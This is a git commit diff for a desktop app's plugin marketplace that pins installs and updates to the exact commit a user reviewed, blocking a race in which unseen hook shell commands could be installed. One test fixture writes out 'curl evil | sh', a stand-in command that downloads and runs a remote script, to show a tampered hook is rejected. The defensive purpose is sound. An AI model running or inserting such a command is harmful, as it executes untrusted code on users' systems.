Marketplace: pin the commit the user reviewed (final review I2)

Install and update pinned whatever the marketplace head was when the
click landed, so a background refresh between review and click could
pin content nobody saw (including a hook's shell commands).
install_marketplace_item and update_marketplace_item now take
expected_commit and refuse with "changed since you reviewed this item —
review it again" unless it is still the head. The UI passes the head the
selected item was read at (Browse), the head frozen with a pending hook
confirm (whose commands are frozen too), and the head of the accepted
diff (Installed).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
2026-09-27 10:11:19 -07:00
co-authored by Claude Opus 5.5
parent f2ebddd073
commit dd019cf2c0
13 changed files with 197 additions and 65 deletions
@@ -62,6 +62,26 @@ pub(crate) mod ops {
} }
} }
/// The commit to pin for an install or update: the marketplace's current
/// head, but only if it is the one the person reviewed (`expected`, the
/// head the UI showed or diffed against). A refresh that lands between
/// review and click must not pin content nobody saw (final review I2).
pub fn reviewed_head(
head: Option<&str>,
expected: &str,
marketplace_name: &str,
) -> Result<String, String> {
let head = head.ok_or_else(|| {
format!("\"{marketplace_name}\" has not been fetched yet — refresh it first.")
})?;
if head != expected {
return Err(format!(
"\"{marketplace_name}\" has changed since you reviewed this item — review it again."
));
}
Ok(head.to_string())
}
/// An unvalidated value as it may appear in an error: quoted and escaped /// An unvalidated value as it may appear in an error: quoted and escaped
/// (`{:?}`) and capped at 60 characters, since it can come from an /// (`{:?}`) and capped at 60 characters, since it can come from an
/// import file rather than from what the person just typed. /// import file rather than from what the person just typed.
@@ -226,6 +246,23 @@ pub(crate) mod ops {
} }
} }
/// Final review I2: an install or update pins exactly the commit the
/// person reviewed, or nothing.
#[test]
fn only_the_reviewed_head_is_pinned() {
let h = "a".repeat(40);
assert_eq!(reviewed_head(Some(&h), &h, "Team").unwrap(), h);
let moved = reviewed_head(Some(&h), &"b".repeat(40), "Team").unwrap_err();
assert!(moved.contains("changed since you reviewed"), "{moved}");
assert!(moved.contains("review it again"), "{moved}");
assert!(reviewed_head(Some(&h), "", "Team").is_err());
let unfetched = reviewed_head(None, &h, "Team").unwrap_err();
assert!(
unfetched.contains("has not been fetched yet"),
"{unfetched}"
);
}
/// Pre-flight F13: the add form and the fetch agree on what a branch /// Pre-flight F13: the add form and the fetch agree on what a branch
/// is, so a name the fetch would refuse is refused up front. /// is, so a name the fetch would refuse is refused up front.
#[test] #[test]
@@ -642,24 +679,21 @@ pub async fn forget_marketplace_installs(
// Installs // Installs
// ───────────────────────────────────────────────────────────────────────────── // ─────────────────────────────────────────────────────────────────────────────
/// Pins the item at the marketplace's current head. Returns fresh settings; /// Pins the item at `expected_commit`, the head the person reviewed, which
/// for a project scope the caller reloads projects. /// must still be the marketplace's head. Returns fresh settings; for a
/// project scope the caller reloads projects.
#[tauri::command] #[tauri::command]
pub async fn install_marketplace_item( pub async fn install_marketplace_item(
item: MarketplaceItemRef, item: MarketplaceItemRef,
scope: InstallScope, scope: InstallScope,
expected_commit: String,
state: State<'_, AppState>, state: State<'_, AppState>,
) -> Result<AppSettings, String> { ) -> Result<AppSettings, String> {
validate_item(&item)?; validate_item(&item)?;
let settings = state.settings_store.get(); let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?; let m = find_marketplace(&settings, &item.marketplace_id)?;
let snap = snapshot_blocking(&state, &m).await?; let snap = snapshot_blocking(&state, &m).await?;
let head = snap.head_commit.clone().ok_or_else(|| { let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
format!(
"\"{}\" has not been fetched yet — refresh it first.",
m.name
)
})?;
let entry = snap let entry = snap
.items .items
.iter() .iter()
@@ -781,26 +815,21 @@ pub async fn marketplace_item_diff(
.map_err(|e| format!("Computing the diff failed: {e}"))? .map_err(|e| format!("Computing the diff failed: {e}"))?
} }
/// Moves one install's pin to the marketplace's head, if the item is still /// Moves one install's pin to `expected_commit`, the head whose diff the
/// installable there. /// person accepted, if that is still the marketplace's head and the item is
/// still installable there.
#[tauri::command] #[tauri::command]
pub async fn update_marketplace_item( pub async fn update_marketplace_item(
item: MarketplaceItemRef, item: MarketplaceItemRef,
scope: InstallScope, scope: InstallScope,
expected_commit: String,
state: State<'_, AppState>, state: State<'_, AppState>,
) -> Result<(), String> { ) -> Result<(), String> {
validate_item(&item)?; validate_item(&item)?;
let settings = state.settings_store.get(); let settings = state.settings_store.get();
let m = find_marketplace(&settings, &item.marketplace_id)?; let m = find_marketplace(&settings, &item.marketplace_id)?;
let head = snapshot_blocking(&state, &m) let snap = snapshot_blocking(&state, &m).await?;
.await? let head = ops::reviewed_head(snap.head_commit.as_deref(), &expected_commit, &m.name)?;
.head_commit
.ok_or_else(|| {
format!(
"\"{}\" has not been fetched yet — refresh it first.",
m.name
)
})?;
let repo = git::cache_path(state.marketplace.data_root(), &m.id); let repo = git::cache_path(state.marketplace.data_root(), &m.id);
let (kind, key, at) = (item.kind, item.key.clone(), head.clone()); let (kind, key, at) = (item.kind, item.key.clone(), head.clone());
@@ -4,7 +4,9 @@ import { useAppState } from "../../store/appState";
import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types"; import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace"; import type { MarketplaceApi } from "../../hooks/useMarketplace";
vi.mock("./InstallControls", () => ({ default: () => <div>install controls</div> })); vi.mock("./InstallControls", () => ({
default: ({ headCommit }: { headCommit: string | null }) => <div>install controls at {headCommit}</div>,
}));
vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> })); vi.mock("./AddMarketplaceModal", () => ({ default: () => <div>add modal</div> }));
import BrowsePane from "./BrowsePane"; import BrowsePane from "./BrowsePane";
@@ -76,7 +78,15 @@ describe("BrowsePane", () => {
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ })); fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument(); expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument();
expect(screen.getByText("install controls")).toBeInTheDocument(); expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
});
it("I2: installs pin the head the shown item was read at, not a later one", () => {
const mp = api();
const { rerender } = render(<BrowsePane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ }));
rerender(<BrowsePane mp={{ ...mp, snapshots: [{ ...snapshot, head_commit: "b".repeat(40) }] }} />);
expect(screen.getByText(`install controls at ${"a".repeat(40)}`)).toBeInTheDocument();
}); });
it("shows why an item is invalid", () => { it("shows why an item is invalid", () => {
+16 -5
View File
@@ -24,7 +24,13 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId); const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId);
const [kind, setKind] = useState<KindFilter>("all"); const [kind, setKind] = useState<KindFilter>("all");
const [query, setQuery] = useState(""); const [query, setQuery] = useState("");
const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null); // The item is kept as it was read, with the head it was read at: an
// install pins exactly what the detail pane shows (final review I2).
const [selected, setSelected] = useState<{
marketplaceId: string;
item: CatalogItem;
headCommit: string | null;
} | null>(null);
const [adding, setAdding] = useState(false); const [adding, setAdding] = useState(false);
const [removing, setRemoving] = useState<Marketplace | null>(null); const [removing, setRemoving] = useState<Marketplace | null>(null);
@@ -35,7 +41,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
.filter((i) => kind === "all" || i.kind === kind) .filter((i) => kind === "all" || i.kind === kind)
.filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q)) .filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q))
.sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name)) .sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name))
.map((item) => ({ marketplaceId: snap.marketplace_id, item })), .map((item) => ({ marketplaceId: snap.marketplace_id, item, headCommit: snap.head_commit })),
); );
}, [mp.snapshots, kind, query]); }, [mp.snapshots, kind, query]);
@@ -161,7 +167,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
className={inputClass} className={inputClass}
/> />
<ul className="space-y-1"> <ul className="space-y-1">
{rows.map(({ marketplaceId, item }) => { {rows.map(({ marketplaceId, item, headCommit }) => {
const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key }); const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key });
const isSel = const isSel =
selected?.marketplaceId === marketplaceId && selected?.marketplaceId === marketplaceId &&
@@ -171,7 +177,7 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<li key={key}> <li key={key}>
<button <button
type="button" type="button"
onClick={() => setSelected({ marketplaceId, item })} onClick={() => setSelected({ marketplaceId, item, headCommit })}
className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${ className={`w-full text-left px-2 py-1.5 rounded-[var(--radius-control)] text-xs ${
isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]" isSel ? "bg-[var(--bg-tertiary)]" : "hover:bg-[var(--bg-tertiary)]"
}`} }`}
@@ -197,7 +203,12 @@ export default function BrowsePane({ mp }: { mp: MarketplaceApi }) {
<section className="flex-1 min-w-0 p-4 overflow-auto"> <section className="flex-1 min-w-0 p-4 overflow-auto">
{selected ? ( {selected ? (
<ItemDetail mp={mp} item={selected.item} marketplaceId={selected.marketplaceId} /> <ItemDetail
mp={mp}
item={selected.item}
marketplaceId={selected.marketplaceId}
headCommit={selected.headCommit}
/>
) : ( ) : (
<p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p> <p className="text-xs text-[var(--text-secondary)]">Select an item to see what it contains and install it.</p>
)} )}
@@ -4,16 +4,20 @@ import type { CatalogItem } from "../../lib/types";
interface Props { interface Props {
item: CatalogItem; item: CatalogItem;
/** The commit whose commands are listed; the install pins exactly this one. */
commit: string;
onConfirm: () => void; onConfirm: () => void;
onCancel: () => void; onCancel: () => void;
} }
/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */ /** Hooks run shell commands in every Claude session, so installing one is always confirmed. */
export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) { export default function HookConfirmModal({ item, commit, onConfirm, onCancel }: Props) {
return ( return (
<Modal <Modal
title={`Install hook “${item.name}”?`} title={`Install hook “${item.name}”?`}
description="This hook runs the commands below inside the container whenever its event fires." description={`This hook runs the commands below inside the container whenever its event fires.${
commit ? ` Version ${commit.slice(0, 8)}.` : ""
}`}
widthClassName="w-[40rem]" widthClassName="w-[40rem]"
onClose={onCancel} onClose={onCancel}
footer={ footer={
@@ -6,6 +6,8 @@ import type { AppSettings, CatalogItem, Project } from "../../lib/types";
import type { MarketplaceApi } from "../../hooks/useMarketplace"; import type { MarketplaceApi } from "../../hooks/useMarketplace";
const C = "c".repeat(40); const C = "c".repeat(40);
/** The snapshot head the user is looking at. */
const H = "d".repeat(40);
function api(): MarketplaceApi { function api(): MarketplaceApi {
return { return {
@@ -55,22 +57,22 @@ describe("InstallControls", () => {
it("installs for all projects", () => { it("installs for all projects", () => {
const mp = api(); const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />); render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" })); fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }); expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }, H);
}); });
it("installs for one project", () => { it("installs for one project", () => {
const mp = api(); const mp = api();
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />); render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ })); fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ }));
expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }); expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }, H);
}); });
it("opts a project out of a global install and back in", () => { it("opts a project out of a global install and back in", () => {
const mp = api(); const mp = api();
seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]); seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />); render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
const row1 = screen.getByTestId("install-row-p1"); const row1 = screen.getByTestId("install-row-p1");
expect(within(row1).getByText("Inherited")).toBeInTheDocument(); expect(within(row1).getByText("Inherited")).toBeInTheDocument();
fireEvent.click(within(row1).getByRole("checkbox")); fireEvent.click(within(row1).getByRole("checkbox"));
@@ -84,30 +86,49 @@ describe("InstallControls", () => {
it("removes a project-only install", () => { it("removes a project-only install", () => {
const mp = api(); const mp = api();
seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]); seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]);
render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" />); render(<InstallControls mp={mp} item={item("agent")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ })); fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ }));
expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" }); expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" });
}); });
it("requires confirmation before installing a hook", () => { it("requires confirmation before installing a hook", () => {
const mp = api(); const mp = api();
render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" />); render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" })); fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(mp.install).not.toHaveBeenCalled(); expect(mp.install).not.toHaveBeenCalled();
expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument(); expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" })); fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }); expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
});
it("I2: a hook confirm installs the commit whose commands it showed", () => {
const mp = api();
const { rerender } = render(<InstallControls mp={mp} item={item("hook")} marketplaceId="m1" headCommit={H} />);
fireEvent.click(screen.getByRole("switch", { name: "All projects" }));
expect(screen.getByText(/dddddddd/)).toBeInTheDocument();
// The marketplace moves on while the confirm is open.
rerender(
<InstallControls
mp={mp}
item={item("hook", { hook_commands: ["curl evil | sh"] })}
marketplaceId="m1"
headCommit={"e".repeat(40)}
/>,
);
expect(screen.queryByText("curl evil | sh")).not.toBeInTheDocument();
fireEvent.click(screen.getByRole("button", { name: "Install hook" }));
expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }, H);
}); });
it("disables everything for an invalid item", () => { it("disables everything for an invalid item", () => {
render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" />); render(<InstallControls mp={api()} item={item("agent", { invalid: "bad front matter" })} marketplaceId="m1" headCommit={H} />);
expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled(); expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled();
expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled(); expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled();
}); });
it("shows only the filtered project when a filter is set", () => { it("shows only the filtered project when a filter is set", () => {
useAppState.setState({ marketplaceFilterProjectId: "p2" }); useAppState.setState({ marketplaceFilterProjectId: "p2" });
render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" />); render(<InstallControls mp={api()} item={item("agent")} marketplaceId="m1" headCommit={H} />);
expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument(); expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument();
expect(screen.getByTestId("install-row-p2")).toBeInTheDocument(); expect(screen.getByTestId("install-row-p2")).toBeInTheDocument();
}); });
@@ -18,13 +18,25 @@ interface Props {
mp: MarketplaceApi; mp: MarketplaceApi;
item: CatalogItem; item: CatalogItem;
marketplaceId: string; marketplaceId: string;
/**
* The marketplace head `item` was read at. Installs pin exactly this commit;
* the backend refuses if the marketplace has moved on since (final review I2).
*/
headCommit: string | null;
} }
export default function InstallControls({ mp, item, marketplaceId }: Props) { /** A hook install waiting for confirmation, frozen at the moment it was asked for. */
interface PendingHook {
scope: InstallScope;
item: CatalogItem;
commit: string;
}
export default function InstallControls({ mp, item, marketplaceId, headCommit }: Props) {
const appSettings = useAppState((s) => s.appSettings); const appSettings = useAppState((s) => s.appSettings);
const projects = useAppState((s) => s.projects); const projects = useAppState((s) => s.projects);
const filterId = useAppState((s) => s.marketplaceFilterProjectId); const filterId = useAppState((s) => s.marketplaceFilterProjectId);
const [pendingHook, setPendingHook] = useState<InstallScope | null>(null); const [pendingHook, setPendingHook] = useState<PendingHook | null>(null);
const [busy, setBusy] = useState(false); const [busy, setBusy] = useState(false);
const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key }; const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key };
@@ -33,6 +45,8 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
(g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key, (g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key,
); );
const disabled = item.invalid !== null || busy; const disabled = item.invalid !== null || busy;
// "" never matches a head, so the backend explains that a refresh is needed.
const commit = headCommit ?? "";
const shown = filterId ? projects.filter((p) => p.id === filterId) : projects; const shown = filterId ? projects.filter((p) => p.id === filterId) : projects;
const run = async (fn: () => Promise<boolean>) => { const run = async (fn: () => Promise<boolean>) => {
@@ -47,10 +61,10 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
/** Every install goes through here so a hook is always confirmed first. */ /** Every install goes through here so a hook is always confirmed first. */
const install = (scope: InstallScope) => { const install = (scope: InstallScope) => {
if (item.kind === "hook") { if (item.kind === "hook") {
setPendingHook(scope); setPendingHook({ scope, item, commit });
return; return;
} }
void run(() => mp.install(ref, scope)); void run(() => mp.install(ref, scope, commit));
}; };
const toggleProject = (projectId: string, state: ProjectItemState) => { const toggleProject = (projectId: string, state: ProjectItemState) => {
@@ -111,12 +125,13 @@ export default function InstallControls({ mp, item, marketplaceId }: Props) {
)} )}
{pendingHook && ( {pendingHook && (
<HookConfirmModal <HookConfirmModal
item={item} item={pendingHook.item}
commit={pendingHook.commit}
onCancel={() => setPendingHook(null)} onCancel={() => setPendingHook(null)}
onConfirm={() => { onConfirm={() => {
const scope = pendingHook; const { scope, commit: reviewed } = pendingHook;
setPendingHook(null); setPendingHook(null);
void run(() => mp.install(ref, scope)); void run(() => mp.install(ref, scope, reviewed));
}} }}
/> />
)} )}
@@ -79,10 +79,21 @@ describe("InstalledPane", () => {
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" })); fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
fireEvent.click(screen.getByRole("button", { name: "accept diff" })); fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => await waitFor(() =>
expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }), expect(mp.update).toHaveBeenCalledWith({ marketplace_id: "m1", kind: "agent", key: "rev" }, { type: "global" }, B),
); );
}); });
it("I2: accepts the head that was reviewed even if the update list moves on", async () => {
const C = "c".repeat(40);
const item = { marketplace_id: "m1", kind: "agent" as const, key: "rev" };
const mp = api({ updates: [{ item, pinned: A, head: B }] });
const { rerender } = render(<InstalledPane mp={mp} />);
fireEvent.click(screen.getByRole("button", { name: "Review update for rev" }));
rerender(<InstalledPane mp={{ ...mp, updates: [{ item, pinned: A, head: C }] }} />);
fireEvent.click(screen.getByRole("button", { name: "accept diff" }));
await waitFor(() => expect(mp.update).toHaveBeenCalledWith(item, { type: "global" }, B));
});
it("marks installs whose marketplace was removed and forgets them", () => { it("marks installs whose marketplace was removed and forgets them", () => {
const mp = api(); const mp = api();
render(<InstalledPane mp={mp} />); render(<InstalledPane mp={mp} />);
@@ -16,6 +16,8 @@ interface Pending {
update: ItemUpdate; update: ItemUpdate;
scope: InstallScope; scope: InstallScope;
scopeLabel: string; scopeLabel: string;
/** Hooks only: what the hook runs at `update.head`, captured with it. */
hookCommands: string[] | undefined;
} }
export default function InstalledPane({ mp }: { mp: MarketplaceApi }) { export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
@@ -42,10 +44,13 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
/** Hooks only (spec §3, preflight F8): the rendered commands at head, so the /** Hooks only (spec §3, preflight F8): the rendered commands at head, so the
* diff review shows what a hook will run after the update, not just the * diff review shows what a hook will run after the update, not just the
* raw `hook.json` diff. */ * raw `hook.json` diff. */
const hookCommandsFor = (item: MarketplaceItemRef): string[] | undefined => { const hookCommandsFor = ({ item, head }: ItemUpdate): string[] | undefined => {
if (item.kind !== "hook") return undefined; if (item.kind !== "hook") return undefined;
const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id); const snap = mp.snapshots.find((s) => s.marketplace_id === item.marketplace_id);
return snap?.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands; // Only when the snapshot is at the head being reviewed; otherwise they
// would describe a different version than the diff.
if (snap?.head_commit !== head) return undefined;
return snap.items.find((it) => it.kind === "hook" && it.key === item.key)?.hook_commands;
}; };
const removedSources = [ const removedSources = [
@@ -100,7 +105,9 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
size="sm" size="sm"
variant="secondary" variant="secondary"
aria-label={`Review update for ${i.key}`} aria-label={`Review update for ${i.key}`}
onClick={() => setPending({ install: i, update: upd, scope, scopeLabel })} onClick={() =>
setPending({ install: i, update: upd, scope, scopeLabel, hookCommands: hookCommandsFor(upd) })
}
> >
Update available Update available
</Button> </Button>
@@ -175,9 +182,10 @@ export default function InstalledPane({ mp }: { mp: MarketplaceApi }) {
fromCommit={pending.install.commit} fromCommit={pending.install.commit}
toCommit={pending.update.head} toCommit={pending.update.head}
scopeLabel={pending.scopeLabel} scopeLabel={pending.scopeLabel}
hookCommands={hookCommandsFor(pending.update.item)} hookCommands={pending.hookCommands}
onClose={() => setPending(null)} onClose={() => setPending(null)}
onAccept={() => mp.update(pending.update.item, pending.scope)} // Pin exactly the head whose diff is on screen (final review I2).
onAccept={() => mp.update(pending.update.item, pending.scope, pending.update.head)}
/> />
)} )}
</div> </div>
@@ -8,9 +8,11 @@ interface Props {
mp: MarketplaceApi; mp: MarketplaceApi;
item: CatalogItem; item: CatalogItem;
marketplaceId: string; marketplaceId: string;
/** The marketplace head `item` was read at. */
headCommit: string | null;
} }
export default function ItemDetail({ mp, item, marketplaceId }: Props) { export default function ItemDetail({ mp, item, marketplaceId, headCommit }: Props) {
return ( return (
<div className="space-y-3"> <div className="space-y-3">
<div> <div>
@@ -45,7 +47,7 @@ export default function ItemDetail({ mp, item, marketplaceId }: Props) {
)} )}
<div> <div>
<p className="text-xs font-medium mb-1">Install</p> <p className="text-xs font-medium mb-1">Install</p>
<InstallControls mp={mp} item={item} marketplaceId={marketplaceId} /> <InstallControls mp={mp} item={item} marketplaceId={marketplaceId} headCommit={headCommit} />
<p className="mt-2 text-[11px] text-[var(--text-secondary)]"> <p className="mt-2 text-[11px] text-[var(--text-secondary)]">
Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes
apply to new Claude sessions. apply to new Claude sessions.
+15 -1
View File
@@ -9,6 +9,7 @@ const listMarketplaceUpdates = vi.fn();
const getSettings = vi.fn(); const getSettings = vi.fn();
const listProjects = vi.fn(); const listProjects = vi.fn();
const installMarketplaceItem = vi.fn(); const installMarketplaceItem = vi.fn();
const updateMarketplaceItem = vi.fn();
vi.mock("../lib/tauri-commands", () => ({ vi.mock("../lib/tauri-commands", () => ({
listMarketplaceSnapshots: () => listMarketplaceSnapshots(), listMarketplaceSnapshots: () => listMarketplaceSnapshots(),
@@ -17,6 +18,7 @@ vi.mock("../lib/tauri-commands", () => ({
getSettings: () => getSettings(), getSettings: () => getSettings(),
listProjects: () => listProjects(), listProjects: () => listProjects(),
installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a), installMarketplaceItem: (...a: unknown[]) => installMarketplaceItem(...a),
updateMarketplaceItem: (...a: unknown[]) => updateMarketplaceItem(...a),
})); }));
let syncHandler: ((e: { payload: unknown }) => void) | null = null; let syncHandler: ((e: { payload: unknown }) => void) | null = null;
@@ -66,11 +68,23 @@ describe("useMarketplace", () => {
installMarketplaceItem.mockRejectedValue("boom"); installMarketplaceItem.mockRejectedValue("boom");
const { result } = renderHook(() => useMarketplace()); const { result } = renderHook(() => useMarketplace());
const ok = await act(() => const ok = await act(() =>
result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }), result.current.install({ marketplace_id: "m1", kind: "agent", key: "a" }, { type: "global" }, "c".repeat(40)),
); );
expect(ok).toBe(false); expect(ok).toBe(false);
expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" }); expect(useAppState.getState().toasts[0]).toMatchObject({ kind: "error", detail: "boom" });
}); });
it("I2: passes the reviewed commit to install and update", async () => {
listMarketplaceSnapshots.mockResolvedValue([]);
installMarketplaceItem.mockResolvedValue({});
updateMarketplaceItem.mockResolvedValue(undefined);
const item = { marketplace_id: "m1", kind: "hook" as const, key: "h" };
const { result } = renderHook(() => useMarketplace());
await act(() => result.current.install(item, { type: "global" }, "c".repeat(40)));
expect(installMarketplaceItem).toHaveBeenCalledWith(item, { type: "global" }, "c".repeat(40));
await act(() => result.current.update(item, { type: "project", project_id: "p1" }, "d".repeat(40)));
expect(updateMarketplaceItem).toHaveBeenCalledWith(item, { type: "project", project_id: "p1" }, "d".repeat(40));
});
}); });
describe("useMarketplaceSyncToasts", () => { describe("useMarketplaceSyncToasts", () => {
+8 -6
View File
@@ -21,10 +21,12 @@ export interface MarketplaceApi {
refresh: (marketplaceId?: string) => Promise<void>; refresh: (marketplaceId?: string) => Promise<void>;
/** Reload settings, projects and the update list after a mutation. */ /** Reload settings, projects and the update list after a mutation. */
reloadState: () => Promise<void>; reloadState: () => Promise<void>;
install: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>; /** `commit`: the marketplace head the user reviewed (see `install_marketplace_item`). */
install: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>; uninstall: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>;
setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>; setDisabled: (projectId: string, item: MarketplaceItemRef, disabled: boolean) => Promise<boolean>;
update: (item: MarketplaceItemRef, scope: InstallScope) => Promise<boolean>; /** `commit`: the head whose diff the user accepted. */
update: (item: MarketplaceItemRef, scope: InstallScope, commit: string) => Promise<boolean>;
forget: (marketplaceId: string) => Promise<boolean>; forget: (marketplaceId: string) => Promise<boolean>;
remove: (marketplaceId: string) => Promise<boolean>; remove: (marketplaceId: string) => Promise<boolean>;
} }
@@ -146,16 +148,16 @@ export function useMarketplace(): MarketplaceApi {
load, load,
refresh, refresh,
reloadState, reloadState,
install: (item, scope) => install: (item, scope, commit) =>
mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope)), mutate(`Could not install ${item.key}`, () => commands.installMarketplaceItem(item, scope, commit)),
uninstall: (item, scope) => uninstall: (item, scope) =>
mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)), mutate(`Could not remove ${item.key}`, () => commands.uninstallMarketplaceItem(item, scope)),
setDisabled: (projectId, item, disabled) => setDisabled: (projectId, item, disabled) =>
mutate(`Could not change ${item.key} for this project`, () => mutate(`Could not change ${item.key} for this project`, () =>
commands.setGlobalItemDisabled(projectId, item, disabled), commands.setGlobalItemDisabled(projectId, item, disabled),
), ),
update: (item, scope) => update: (item, scope, commit) =>
mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope)), mutate(`Could not update ${item.key}`, () => commands.updateMarketplaceItem(item, scope, commit)),
forget: (marketplaceId) => forget: (marketplaceId) =>
mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)), mutate("Could not forget those installs", () => commands.forgetMarketplaceInstalls(marketplaceId)),
remove: async (marketplaceId) => { remove: async (marketplaceId) => {
+6 -4
View File
@@ -449,8 +449,9 @@ export const updateMarketplace = (marketplace: Marketplace) =>
invoke<AppSettings>("update_marketplace", { marketplace }); invoke<AppSettings>("update_marketplace", { marketplace });
export const removeMarketplace = (marketplaceId: string) => export const removeMarketplace = (marketplaceId: string) =>
invoke<AppSettings>("remove_marketplace", { marketplaceId }); invoke<AppSettings>("remove_marketplace", { marketplaceId });
